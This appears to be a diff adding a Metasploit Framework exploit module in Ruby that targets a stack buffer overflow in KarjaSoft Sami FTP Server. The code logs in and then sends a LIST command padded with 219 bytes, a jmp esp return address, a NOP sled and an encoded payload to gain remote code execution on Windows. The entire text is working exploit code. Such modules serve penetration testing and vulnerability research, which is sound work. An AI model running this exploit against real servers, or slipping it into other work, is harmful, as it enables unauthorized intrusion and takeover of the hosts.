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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit4 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::Tcp |
| 14 | + #include Msf::Exploit::Remote::Seh |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'KarjaSoft Sami FTP Server LIST Overflow', |
| 19 | + 'Description' => %q{ |
| 20 | + A buffer overflow is triggered when a long LIST command is sent to the |
| 21 | + server and the user views the Log tab. |
| 22 | + }, |
| 23 | + 'Author' => [ 'Doug Prostko <dougtko[at]gmail.com>' ], |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'References' => |
| 26 | + [ |
| 27 | + [ 'OSVDB', '90815'], |
| 28 | + [ 'EDB', '24557'], |
| 29 | + ], |
| 30 | + 'DefaultOptions' => |
| 31 | + { |
| 32 | + 'EXITFUNC' => 'seh', |
| 33 | + }, |
| 34 | + 'Platform' => ['win'], |
| 35 | + 'Privileged' => false, |
| 36 | + 'Payload' => |
| 37 | + { |
| 38 | + 'Space' => 950, |
| 39 | + 'BadChars' => "\x00\x0a\x0d\x20\xff", |
| 40 | + #'StackAdjustment' => -3500, |
| 41 | + }, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'Universal', { 'Ret' => 0x10028283 } ], # jmp esp |
| 45 | + ], |
| 46 | + 'DisclosureDate' => 'Feb 27 2013')) |
| 47 | + |
| 48 | + register_options( |
| 49 | + [ |
| 50 | + Opt::RPORT(21), |
| 51 | + OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ]), |
| 52 | + OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ]) |
| 53 | + ], self.class) |
| 54 | + end |
| 55 | + |
| 56 | + def exploit |
| 57 | + connect |
| 58 | + |
| 59 | + buf = rand_text_alphanumeric(219) |
| 60 | + buf << [target.ret].pack("V") |
| 61 | + buf << make_nops(50) + payload.encoded |
| 62 | + sock.put("USER #{datastore['FTPUSER']}\r\n") |
| 63 | + sock.put("PASS #{datastore['FTPPASS']}\r\n") |
| 64 | + res = sock.get(-1,3) |
| 65 | + if(res.match(/230 Access allowed\./)) |
| 66 | + print_good("Login successful") |
| 67 | + else |
| 68 | + print_status("Bad username/password") |
| 69 | + end |
| 70 | + sleep 1 |
| 71 | + |
| 72 | + print_status("Sending evil LIST command") |
| 73 | + sock.put("LIST #{buf}\r\n") |
| 74 | + |
| 75 | + handler |
| 76 | + disconnect |
| 77 | + end |
| 78 | + |
| 79 | +end |
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